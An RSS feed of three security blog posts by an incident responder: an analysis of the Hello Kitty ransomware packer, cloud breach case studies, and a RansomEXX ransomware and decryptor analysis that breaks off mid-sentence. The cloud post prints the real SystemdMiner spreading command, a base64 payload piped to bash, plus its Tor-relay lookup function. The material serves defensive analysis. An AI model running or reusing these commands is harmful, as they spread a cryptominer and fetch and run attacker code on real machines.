<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Brenton Morris on Medium]]></title>
        <description><![CDATA[Stories by Brenton Morris on Medium]]></description>
        <link>https://medium.com/@_scrapbird?source=rss-364c5cbb64e6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*pWPvFSmrXVHSGPaM.jpeg</url>
            <title>Stories by Brenton Morris on Medium</title>
            <link>https://medium.com/@_scrapbird?source=rss-364c5cbb64e6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 16:50:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@_scrapbird/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Static unpacker and decoder for Hello Kitty Packer]]></title>
            <link>https://medium.com/proferosec-osm/static-unpacker-and-decoder-for-hello-kitty-packer-91a3e8844cb7?source=rss-364c5cbb64e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/91a3e8844cb7</guid>
            <dc:creator><![CDATA[Brenton Morris]]></dc:creator>
            <pubDate>Mon, 25 Apr 2022 13:03:42 GMT</pubDate>
            <atom:updated>2022-04-25T13:03:42.185Z</atom:updated>
            <content:encoded><![CDATA[<p>During a recent incident response engagement, the Profero IR team observed a sample of Hello Kitty ransomware. This version of ransomware is intriguing as this sample is packed with a packer written in Go. This packer decrypts the final Hello Kitty payload, which is written in C++, before executing it in memory. The Hello Kitty ransomware is written as a simple tool that an attacker can use to encrypt data on the victim’s machine and not as a full-fledged malware with persistence methods of its own. This malware has been covered by previous researchers in-depth, however, there is much less information about the packer used by this ransomware gang.</p><p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.hellokitty">HelloKitty (Malware Family)</a></p><p>Due to this fact, we are releasing this report along with a tool that can be used to unpack the payload contained within the Go packer.</p><h3>Analysis</h3><h4>Overview</h4><p>The use of a Go packer makes it hard for reverse engineers to analyze the binary and assists the malware in evading detection by antivirus and other detection systems. This is due to the low detection rate on Go binaries and due to the nature of packers themselves, as they encrypt the final malicious payload to prevent signature-based detections.</p><p>Below is an example of the ransom note used by HelloKitty (extracted using the <a href="https://hatching.io/">https://hatching.io/</a> sandbox):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*zr6SAca4IfeZyEO2qebwuQ.png" /><figcaption>Ransom note used in this attack</figcaption></figure><p>When analyzing the unpacked payload, we can see that the ransomware is not written to install on a machine but rather it is written as a command-line tool that attackers will use after gaining access to target machines. The unpacked tool even provides a command-line help message. This can be seen in the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*ItNsWJ2VadcvCPMszsolkg.png" /><figcaption>Command help message</figcaption></figure><h4>Packer Decryption</h4><p>The packer’s decryption process is as follows:</p><ul><li>The packed binary is executed and passed a 16-byte decryption key as a command-line parameter which the packer will use to decrypt the payload</li><li>The encrypted blob is located at the overlay of the packed binary. The location in the file is obtained by parsing the PE header from the binary:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*W0vmZf7--YGOAhotogel3Q.png" /><figcaption>Parsing PE headers</figcaption></figure><ul><li>This encrypted blob is then decrypted using the AES-128-CBC algorithm with IV passed as an embedded string from the binary, this can be seen in the image below:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*bLvffOcTEpIR8uy3TOa2oQ.png" /><figcaption>Locating the IV</figcaption></figure><ul><li>The packer then resolves the entry point of the payload and passes execution to it:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*w7QX2XbPiZ4lZC8jjADzLQ.png" /><figcaption>Finding and jumping to the entry point of the packed binary</figcaption></figure><h3>Unpacking Tool</h3><p>To assist in the analysis, the Profero team has developed a tool that can be used to unpack the binary and do the following:</p><ul><li>Check if the packed binary is a hello kitty binary</li><li>Extracts the RSA key, C2 server used, IV, etc</li><li>Unpacks the packed file</li></ul><p>The tool can be executed as follows:</p><p>./HelloKittyUnpacker.exe [input] [key] [dump]</p><p>We hope that this tool will assist in speeding up analysis in any future incidents involving this malware. In addition, we wanted to open source the code so it can be used as a blueprint for similar malware.</p><p>It can be found on GitHub:</p><p><a href="https://github.com/proferosec/HelloKittyUnpacker">https://github.com/proferosec/HelloKittyUnpacker</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=91a3e8844cb7" width="1" height="1" alt=""><hr><p><a href="https://medium.com/proferosec-osm/static-unpacker-and-decoder-for-hello-kitty-packer-91a3e8844cb7">Static unpacker and decoder for Hello Kitty Packer</a> was originally published in <a href="https://medium.com/proferosec-osm">ProferoSec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From the Trenches: Common-Sense Measures to Prevent Cloud Incidents]]></title>
            <link>https://medium.com/proferosec-osm/from-the-trenches-common-sense-measures-to-prevent-cloud-incidents-61441a3c9bfd?source=rss-364c5cbb64e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/61441a3c9bfd</guid>
            <dc:creator><![CDATA[Brenton Morris]]></dc:creator>
            <pubDate>Sun, 21 Nov 2021 21:26:42 GMT</pubDate>
            <atom:updated>2021-11-21T21:26:42.337Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>As an incident response team, we see a lot of cloud breaches that could have been prevented. Adequate protection requires in-depth knowledge of the cloud provider and its APIs and ample preparation. In cases when a company face time constraints, or its engineers have not received up-to-date training after a cloud migration, vulnerabilities open up. Whatever the reason, many cloud attacks can be easily avoided — in the following case studies, we offer advice on how.</p><p>This post is by no means a comprehensive guide to creating secure cloud environments. Rather, the examples included illustrate common weaknesses we encounter during our engagements, and steps companies can take to bolster their defenses.</p><p>If you are more of a video person, most of the content of this post was presented at a European cloud event, which you can view here: <a href="https://www.youtube.com/watch?v=QyzFe4uHSAw">https://www.youtube.com/watch?v=QyzFe4uHSAw</a></p><h3>SystemdMiner running in GCP</h3><p>A healthcare provider contacted us after they received a GCP alert about one of their Linux instances. We carried out a forensic analysis of the instance in question and found a variant of SystemdMiner running on the machine. This miner consists of a series of obfuscated bash scripts and uses a cronjob to achieve persistence and contains a few other tricks to squeeze as much mining power out of an organization as possible before detection.</p><p>SystemdMiner attempts to use SaltStack as a means to spread throughout an organization. If it is executed on a host which acts as a salt master node, it will execute a base64 encoded payload on every node to which the machine has access. It does this by running the salt command line:</p><blockquote>salt ‘*’ cmd.run ‘echo blA4YnlQVUdPd0tqVmZQWlpzcDVvY3RkWEhUV0d5UHFnVmVZODJ6VjFkZTZBWTB5ZEF0Z0VHbW8rSmF1bUVmVgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICJ3dnp5djJucHRqdXhjcW9pYmVrbHhlc2U0Nmo0dW9uemFhcHd5bDZ3dmhka25qbHFsY29ldTdpZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmZsYXR1c2xpZmlyLmlzIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMCkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQgb25pb24uZm91bmRhdGlvbiBvbmlvbi5jb20uZGUgb25pb24uc2ggdG9yMndlYi5zdSAKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash’</blockquote><p>Included in this next stage is a snippet of code that uses a list of DNS over HTTPS services to resolve the relay.tor2socks.in domain, a service which this malware uses to communicate with .onion hidden services hosting its C2 servers on the Tor network:</p><blockquote>sockz() {<br> n=(doh.defaultroutes.de dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)<br> p=$(echo “dns-query?name=relay.tor2socks.in”)<br> s=$($c <a href="https://medium.com/$%7Bn%5b$((RANDOM%10))%5d%7D/$p">https://${n[$((RANDOM%10))]}/$p</a> | grep -oE “\b([0–9]{1,3}\.){3}[0–9]{1,3}\b” |tr ‘ ‘ ‘\n’|grep -Ev [.]0|sort -uR|head -n 1)<br> }</blockquote><p>This style of attack is becoming increasingly commonplace as more organizations have begun to take advantage of infrastructure as code — but without, unfortunately, utilizing the greatest strengths of this way of working:</p><ul><li>The ability to block all changes to an organization’s infrastructure until the changes are reviewed and approved by multiple parties.</li><li>The removal of the need to grant engineers working on the infrastructure access to the underlying resources.</li></ul><p>This attack serves as a great example of why protecting your deployment and management resources is important. A single engineer should never have the ability to make changes to infrastructure — this special access should instead be delegated to a secure pipeline where changes need to go through a review process and be approved by multiple parties before execution. Additionally, heightened care needs to be taken when defending these pipelines and their critical assets such as salt master nodes, terraform state files, code repositories storing the automation templates, etc.</p><h3>AWS VM Export Abused to Breach Hashicorp Vault</h3><p>Often when moving from traditional IT infrastructure to a cloud environment, some seemingly minor details get overlooked. This can lead to a domino effect of severe consequences in the case of a breach. In one example, after a large AWS breach, we conducted an IR investigation for our client to figure out how the attacker gained access to so many access tokens within the organization. The only correlation among these tokens was that they were all stored in a HashiCorp Vault instance which was running in EC2.</p><p>When examining the CloudTrail logs, we found a log showing a call to the CreateInstanceExportTask API. This was used to create a snapshot of the HashiCorp Vault instance, which the attacker then downloaded from an S3 bucket. From there, many other services were compromised using the secrets contained within this instance.</p><p>Although this was not the initial point of entry used to obtain access to the organization, this escalation of privileges was made possible because the client had not adequately restricted calls to these APIs — a small miss that resulted in a cascade of larger issues.</p><p>When setting up AWS and other cloud-based infrastructure, it is essential to consider how an attacker could access data contained within compute and database instances. We also recommend placing high-value VMs such as Vault instances or sensitive data in their own restricted AWS account, and to establish a system to monitor any authentications happening inside these accounts.</p><h3>EC2 GPU Miners</h3><p>One common method used to monetize AWS account access in recent years is to spin up GPU enabled EC2 instances, which mine on behalf of the attacker — on the victims’ dime. Tesla fell victim to this kind of attack in 2018.</p><p>Although these attacks are not the most effective way to turn illegitimate access into income, they are usually the result of wider-scale automated attacks and not carried out in a manual, hands-on-keyboard approach.</p><p>These attacks show why it is important to have billing alerts enabled, so that you will receive an alert when an account’s usage is above normal. We also recommend tailoring your CloudTrail alerts to your organizations’ usage. For example, if you don’t use GPU enabled EC2 instances or higher-tier CPU instances, you should be alerted if one is spun up in your account, prompting your company to investigate accordingly.</p><h3>MongoDB Compromise</h3><p>During another incident, an extortionist attacker made claims that they had a copy of the client’s production MongoDB database, containing sensitive customer information.</p><p>The database in question was housed in a private subnet, accessible only via a few backend API instances — none of which showed any signs of compromise. We analyzed the HTTP request logs and found no signs of compromise–so how did the attacker gain access to this data?</p><p>After investigating the CloudTrail logs, we discovered the attacker had simply restored a snapshot of the DocumentDB / MongoDB clusters using a public subnet and a security group that allowed connections from 0.0.0.0/0. Then, they connected to the database and pulled down all the data before destroying the cluster they had created. This was possible because the attacker had access to an AWS access key which could create new clusters using these snapshots, in addition to the fact that the victim organization had not set up CloudTrail alarms for such actions.</p><p>Mitigating the risk of this kind of attack requires adhering to the principles of least privilege and actively monitoring for anything out of the ordinary. Alerts that we would recommend creating to prevent this example include:</p><ul><li>Any new security group policies allowing connections from anywhere, or depending on your use case, any new security group policies allowing connections from any non RFC 1918</li><li>Any new data resources being created (RDS instances, DocumentDB clusters, ElastiCache, etc) as these resources are seldom created. In cases when they are created more than usual — in staging/dev environments or during blue/green deployments — simply add the appropriate exceptions in your alerting.</li></ul><p>Timely responses to these kinds of alerts can be the difference between stopping the exfiltration of private data or picking up the pieces in the aftermath of an incident.</p><h3>Looking for Offensive Attackers</h3><p>When scanning for attackers in your environment, it is important to establish and follow best practices. Some tips are below:</p><h4><strong>Prep</strong></h4><p>It is essential to prepare your environment to be able to detect malicious behavior:</p><ul><li>Stream your CloudTrail logs to an S3 bucket with MFA delete enabled, preferably in a separate AWS account dedicated to storing audit logs</li><li>Ensure Athena is configured so that during an incident you can quickly query your CloudTrail logs from this bucket</li></ul><h4><strong>Asset Discovery</strong></h4><p>Having good config and asset management is extremely important when detecting something out of the ordinary that requires investigation. These are some tools that we use to find assets in our client’s environments:</p><ul><li>Scout Suite</li><li>AWS Billing Console</li><li>AWS Config</li></ul><h4><strong>Use the Tools Available to You</strong></h4><p>There are many other tools available to organizations, such as open- source tools like SkyWrapper which is used for finding STS token chains in AWS accounts, AWS Guard Duty, and even checking for changes in your billing console can lead to the identification of malicious activity.</p><h4><strong>Investigate CloudTrail</strong></h4><p>If CloudTrail is active but is not being regularly monitored and reviewed, it can only be used as evidence after an incident. This is a missed opportunity, because it is one of the best and easiest tools to engage for early detection and prevention. Some things to look for when reviewing logs include:</p><ul><li>Known IOCs appearing in the logs</li><li>Changes to resources such as CloudFormation stacks — these should be enabled to trigger alerts, in order to ease manual review</li><li>Database actions such as copies being made, data deleted, new instances created or instances being exported</li><li>Network configuration changes/security group policy modifications</li></ul><h4><strong>Common Mistakes</strong></h4><p>Here are some common mistakes we run into when we start an IR:</p><ul><li>Logs such as CloudTrail incorrectly stored in S3 buckets, such as misconfiguring the target directory when exporting multiple AWS account trails into the same bucket. This hinders the creation of Athena tables.</li><li>Logs prior to an incident unsearchable, because Athena’s full range of capabilities were not enabled, or the logs were not exported to CloudWatch or other log storage such as ElasticSearch.</li><li>Engineers involved have no incident response training or practice. Game days are excellent opportunities to show engineers what they should be do in the early stages of a security incident.</li><li>Alerting has not been tailored for the organization’s environment. There is no “one size fits all” for alerting. Only you know your environment well enough to understand what is normal activity and what is not — the best people to write alerts are always your own engineers.</li></ul><h3>Overall Recommendations</h3><p>In summary, these are the most important elements in securing a cloud environment — which together will offer your company a vital layer of protection against a range of the most common cloud threats in circulation today:</p><ul><li>Get the basics right first — don’t wait for an attack</li><li>Know your environment: monitor your weak points, understand your usual activity</li><li>Create alerts tailored to your usage</li><li>Investigate alerts in a timely manner</li><li>Enable all available logging (data access logging, packet flow logs, etc)</li><li>Ensure logs are searchable</li><li>Practice your response, and provide regular updates and training for your engineers</li><li>Constantly reevaluate your security requirements as your environment changes</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61441a3c9bfd" width="1" height="1" alt=""><hr><p><a href="https://medium.com/proferosec-osm/from-the-trenches-common-sense-measures-to-prevent-cloud-incidents-61441a3c9bfd">From the Trenches: Common-Sense Measures to Prevent Cloud Incidents</a> was originally published in <a href="https://medium.com/proferosec-osm">ProferoSec</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RansomEXX, Fixing Corrupted Ransom]]></title>
            <link>https://medium.com/proferosec-osm/ransomexx-fixing-corrupted-ransom-8e379bcaf701?source=rss-364c5cbb64e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e379bcaf701</guid>
            <category><![CDATA[ransomexx]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[reversing]]></category>
            <dc:creator><![CDATA[Brenton Morris]]></dc:creator>
            <pubDate>Thu, 30 Sep 2021 12:33:12 GMT</pubDate>
            <atom:updated>2021-10-02T06:09:52.104Z</atom:updated>
            <content:encoded><![CDATA[<p>Since the sudden disappearance of the REvil ransomware operation, there has been a rise in other “ransomware as a service” (RaaS) operators attempting to claim their piece of the RaaS market share left behind. Among the most prominent of these groups is RansomEXX / RansomX. They have become infamous not only for their high-profile attacks, but also for the leak site they use to name and shame their victims who don’t adhere to their ransom demands, and for their deployment of ransomware payloads for both Windows and Linux devices.</p><p>Based on the high number of recent attacks by this group, the Profero IR team has encountered multiple ransomware cases involving the Linux variant of this malware. During some of these incidents, we analyzed the ransomware and a version of its decryption tool and discovered a bug in the encryption process that left some files corrupted and unable to be decrypted by the tool.</p><p>In the following report, we describe how this ransomware and the decryption tool work — and how some corrupted files can potentially be rescued. We also introduce a new tool that can be used to extract the decryption key information from the Linux version of the decryption tool provided by the attackers and then use that configuration to decrypt affected files. We hope that this tool will remove the need to reverse engineer the attacker’s decryption tool during an incident and make for a speedier recovery.</p><p>The source code of the tool is publicly available <a href="https://github.com/proferosec/RansomEXX-Tools">here</a>.</p><h3>Ransomware Analysis</h3><h4>Summary</h4><p>RansomEXX has the ability to recursively encrypt files in a list of provided directories using symmetric encryption (AES-CBC). Each file is appended with a header containing information encrypted with an RSA public key — such as the AES key and IV values — so that they can be decrypted. Additionally, this header is regenerated roughly every 0.18 seconds along with a new AES key and IV to prevent decrypting all files with a key and IV recovered by analyzing memory dumps taken from an infected machine. If two files are encrypted within the same 0.18 second period, they will be encrypted with the same key.</p><p>The malware appears to be specifically compiled for each attack, with the target organization’s name included in the embedded ransom note, making it harder to share samples publicly. There is also an unused config value containing file extensions which indicate this malware can also be compiled to run on Windows. The use of the mbedTLS library also supports this conclusion, as it can be compiled for various target platforms.</p><p>There is no persistence method enabled in this ransomware and it runs as a standalone command line tool which can be executed on the victim machines as part of a multi-staged attack.</p><h4>Overview</h4><p>The analyzed samples were not packed or stripped, making our analysis easier as we can see the original function names used by the author. The malware uses the mbedtls library for encryption capabilities:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*eqMw5xqhbxmHEZPr9g8Hpg.png" /></figure><h3>Execution Flow</h3><p>When initiated, the malware first loads the ransomware config with the <strong>ConfigLoadFromBuffer</strong> function and then calls the <strong>GeneratePreData </strong>function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*8APUr1sK76QezYcVfGt8Zg.png" /></figure><p>The <strong>GeneratePreData </strong>function (pictured below) carries out the tasks of setting up the mbedtls context, including generating a random seed using the current time as personalization data to add extra entropy and generating the “ransom header” which contains RSA encrypted initialization information for the encryption such as IV and key used. This “header” is appended to each encrypted file so that it can be decrypted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*6srcaKZBtwEDiCGlmtMv3Q.png" /></figure><p>Next, the malware starts a thread to re-run the above function every 0.18 seconds (180,000 microseconds). Note that inside the GeneratePreData function a mutex is acquired to prevent the context from changing while in use. This means there is no guarantee that it will regenerate any of these values on time. This is likely used to ensure that any key recovered from a memory dump would only be able to decrypt a small number of the most recently encrypted files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*5GDinHMF1Hyuiw8VAOceJA.png" /></figure><p>Once this thread is running the main work begins: the malware loops through a list of directories passed to it by a command line and calls the <strong>EnumFiles </strong>function on each.</p><p>From here, the malware initializes the same number of worker threads as the system has processors, and it is these worker threads that handle the actual encryption of each file. The <strong>encrypt_dir </strong>function is then called.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*2-fnkkxgEo9HzGF2CBT0wQ.png" /></figure><p>The <strong>encrypt_dir </strong>function loops through the directory recursively, creating the ransom note inside each directory and assigning each file discovered to a worker thread, which then perform the encryption. This function skips calling itself on the current directory or the parent directory, and does not encrypt any ransom notes. Interestingly, this function does not make use of the list of file extensions in the config item with index 11, which appears to be a list of file types to skip when encrypting. Instead, it encrypts every file it locates that is not a ransom note.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*JXMLvJLMGTNxQ1qq3hwZaw.png" /></figure><p>A high-level view of the function calls made when the malware starts can be seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*MT84TAk9XS_cJTX4JowLCA.png" /></figure><h4>Configuration</h4><p>The malware configuration is stored in a list of dynamically sized items. Each item contains the following elements:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*GhcA19iEVsE-nasVO2xDpA.png" /></figure><p>This data structure is parsed by the malware in the <strong>ConfigLoadFromBuffer </strong>function and stored in an easily accessible global config structure to be used during runtime:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*_bOCUA9r3ffHDuwKVBerwg.png" /></figure><p>By storing the config values in this way, the malware author has applied some very basic obfuscation and hidden the code that references these values from the disassembler, lengthening the time required to analyze this sample.</p><p>The malware config contains the following values encoded in this way, as seen below. Blank values are currently unknown or unused</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*at5ttDUcchQXuBl8whaJgw.png" /></figure><p>Some of these config values are not used in this binary. This suggests the malware is written using a modular design, which allows the attackers to turn features on or off at compile time. Along with the fact that the malware contains references to the victim organization in the ransom note, this indicates that the malware is compiled for each individual attack.</p><h4>Encryption Process</h4><p>When a worker thread receives a file path to encrypt, it calls the <strong>CryptOneFile </strong>function. This function oversees the target file’s encryption in AES CBC mode using a key size of 256 bits. Each file is appended with the “ransom header” generated in the <strong>GeneratePreData </strong>function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*R8abfsULqnXoUdyzezJmxA.png" /></figure><p>The ransomware encrypts files using a rolling window which moves through the file in a manner which depends on which <strong>CryptLogic </strong>values the malware is using for that particular file.</p><p>A <strong>CryptLogic </strong>is a set of values which determine how a file should be encrypted or decrypted in blocks. The decrypt logic to use for a given file is determined by its size in bytes. Each <strong>CryptLogic </strong>is a struct with the following C definition:</p><blockquote>struct CryptLogic {<br> uint64_t lowerLimit;<br> uint64_t upperLimit;<br> uint64_t chunkSize;<br> uint64_t blockSize;<br>};</blockquote><p>The <strong>lowerLimit </strong>value is the lower limit of files to be encrypted/decrypted with the contained <strong>chunkSize </strong>and <strong>blockSize </strong>values while the <strong>upperLimit </strong>is the upper limit for the file size.</p><p>The <strong>chunkSize </strong>is the number of bytes which are read, encrypted/decrypted and then written back to one affected file at a time, while the <strong>blockSize </strong>is the number of bytes in the file after each chunk is encrypted/decrypted. In the sample analyzed, the <strong>blockSize </strong>is larger than the corrosponding <strong>chunkSize</strong>, so the malware will only partially encrypt affected files but it is still enough to render the files unusable.</p><p>A description of each value in the <strong>CryptLogic </strong>is below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*tbcOpcrFQ09Up5dX581dMw.png" /></figure><p>After the <strong>CryptOneFile </strong>function has appended the encrypted header to a file it calls the <strong>ProcessFileHandleWithLogic </strong>function — which will get the correct crypt logic values to use — it then works its way through the file using the method described above:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*cR2H-5NQTFmeF_ct9VGBOw.png" /></figure><p>If successful, the ransomware will then rename the encrypted file to indicate it has been encrypted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/324/1*4EV-YUh3KiPiYyd-ZjD3RA.png" /></figure><p>A high-level overview of the function calls made by the <strong>encrypt_worker </strong>thread can be seen below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*6PX41ltGjTlirNqJ6M8H-Q.png" /></figure><h3>Decryption Tool Analysis</h3><h4>Summary</h4><p>The decryption tool is able to recursively decrypt files in a list of provided directories using AES in CBC mode. Each encrypted file contains a header with information required to decrypt, such as the AES key and IV values used to encrypt the file. This header is read and the key and IV are decrypted, and then removed from the file. Subsequently, the file is decrypted, and returns to its original state.</p><p>Due to failure to acquire a lock on the file, it is possible that while the file is being encrypted it is in use by the system and being written to in parallel. This would lead to a file corruption, with encrypted data mixed in with unencrypted data or with extra data being appended to the file after the encrypted header — causing the decryption tool to fail to obtain the correct keys to decrypt the file. We encountered several log files that were partially corrupted due to this flaw. This presence of this flaw could mean that even after paying a ransom to the attackers, victim organizations would not be able to recover some files.</p><h4>Overview</h4><p>This file is not packed or stripped and uses the mbedTLS library for AES decryption:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*0ljOjPdzaPkFiBX3obQokA.png" /></figure><h4>Execution Flow</h4><p>This file looks very similar to the ransomware component analyzed in this post.</p><p>When comparing the two files we can see that there are only a small number of different functions between these samples.</p><p>It starts off with the main function similar to the ransomware component without the call to <strong>GeneratePreData </strong>or the creation of the <strong>regenerate_pre_data </strong>worker thread. It loads the ransomware config from a buffer using the exact same method documented in the ransomware analysis above, and then calls <strong>EnumFiles </strong>on each directory passed in via the command line args:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*rSb0owl7CDY6i--eyHnuVg.png" /></figure><p><strong>EnumFiles </strong>is identical to the ransomware component’s <strong>EnumFiles </strong>function. It creates a pool of worker threads equal to the number of the victim machine’s CPUs using the <strong>init_workers </strong>function, and then calls <strong>encrypt_dir</strong>, passing the target directory path as the only parameter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*eZIbiWfoOwr0xXC_xDofuA.png" /></figure><p>The <strong>encrypt_dir </strong>function is almost identical to the function in the ransomware component with the same name, it loops through all subdirectories recursively and assigns each file found to a worker thread. The only difference here is that this function removes the ransom note instead of dropping one, this can be seen in the picture below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*KkM9n638SjTjVTtaCzhTcg.png" /><figcaption>Ransomware <strong>encrypt_dir </strong>function compared to the decryption tool.</figcaption></figure><h4>Configuration</h4><p>The configuration provided with the decryption tool contains everything it needs to decrypt affected files.</p><p>The decryption tool uses the exact same encoding mechanism for its config values as the ransomware component itself, but this time using a lot more config values:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*zENPL54I3C4tWwgwi-DIWQ.png" /></figure><p>The configuration contains the following encoded values:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*QG5CKkxugG0TQhUjhz2zPw.png" /></figure><h4>Decryption Process</h4><p>The decryption tool worker threads are almost identical to the workers in the ransomware, except that they call <strong>DeCryptOneFile </strong>when they receive a path to decrypt, while the ransomware calls <strong>CryptOneFile</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*G6gRt-TWt0PalJdHW9LgeA.png" /></figure><p>The <strong>DeCryptOneFile </strong>function calls the <strong>DeCryptOneFileEx </strong>function and then removes the file extension that was added to the file during encryption:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*-Zlcosa0GmwpCgFi6AZpMw.png" /></figure><p>The <strong>DeCryptOneFileEx </strong>function reads the encryption information stored in the “ransomware header” at the end of the file and ensures that it parses correctly. Then it truncates the file to remove the added header:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*KvY5xC2UdxTvLuaui-UFrQ.png" /></figure><p>It then calls the <strong>ProcessFileHandleWithLogic </strong>function, instructing it to use the 